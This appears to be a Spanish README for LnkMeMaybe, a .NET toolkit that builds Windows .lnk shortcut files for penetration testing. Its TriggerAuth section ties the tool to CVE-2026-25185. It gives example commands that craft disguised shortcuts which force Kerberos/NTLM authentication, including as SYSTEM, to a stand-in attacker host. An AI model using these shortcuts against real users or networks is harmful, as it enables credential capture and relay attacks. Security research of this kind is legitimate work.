LnkMeMaybe

Un conjunto de herramientas .NET 8 para crear y analizar archivos Windows Shell Link (.lnk). Incluye un constructor de línea de comandos (LnkMeMaybe) y un editor gráfico (LnkUi). Diseñado para investigación de seguridad y pruebas de penetración.

Proyectos

CLI — LnkMeMaybe

Parámetros comunes

Todos los comandos comparten los siguientes parámetros base (de BaseSavedCommand):

TriggerAuth (CVE-2026-25185)

Crea un .lnk que dispara la autenticación Kerberos (con respaldo a NTLM) a un servidor especificado. El .lnk no ejecuta nada.

Escenarios en los que se dispara la autenticación:

1. Un usuario navega al recurso compartido que contiene el .lnk — la cuenta del usuario realiza la autenticación saliente.
2. El .lnk se coloca en una ubicación que la máquina está configurada para indexar — SearchProtocolHost se autentica como SYSTEM.
3. MSSense está en ejecución y la ubicación no está exenta — MSSense.exe se autentica como SYSTEM.

Parámetros:

Ejemplos:

# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk

# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk

WebShortcut

Crea un archivo .lnk que apunta a una URL web. Normalmente Windows crea un archivo .url para los accesos directos web; este comando produce un .lnk en su lugar.

Parámetros:

Ejemplo:

LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk

LocalShortcut

Crea un acceso directo estándar de Windows a un archivo o carpeta local. La ruta de destino se almacena como una lista de ID de elementos de shell (PIDL), el formato nativo que Windows utiliza para los accesos directos del sistema de archivos.

Parámetros:

Ejemplos:

# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk

# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe

# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk

EnvShortcut

Crea un .lnk donde la ruta de destino se almacena como una cadena de variable de entorno expandible (EnvironmentVariableDataBlock). Este es el formato que Windows utiliza para los accesos directos a ejecutables del sistema (p. ej. %SystemRoot%\system32\notepad.exe). Las variables se expanden en el momento del lanzamiento, lo que hace que el acceso directo sea portable entre instalaciones de Windows.

Parámetros:

Ejemplos:

# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk

# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk

Compilación

# Build (debug)
dotnet build Lnk.sln

# Build (release, core projects only)
dotnet build -c Release build.slnf

# Run all tests
dotnet test

# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"

# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj

Lanzamientos

Los binarios precompilados para Windows, Linux y macOS (x64 y arm64) están disponibles en la página de Lanzamientos.

Cada lanzamiento incluye versiones independientes (no requieren runtime de .NET) y dependientes del framework (requieren runtime de .NET 8) para LnkMeMaybe y LnkUi.

Divulgación sobre el uso de IA

Se utilizaron sistemas de IA para las siguientes tareas:

• Revisión de calidad del código
• Generación del readme
• Acciones de flujo de trabajo de Github

El código presente en este repositorio fue, por lo demás, creado y revisado por humanos.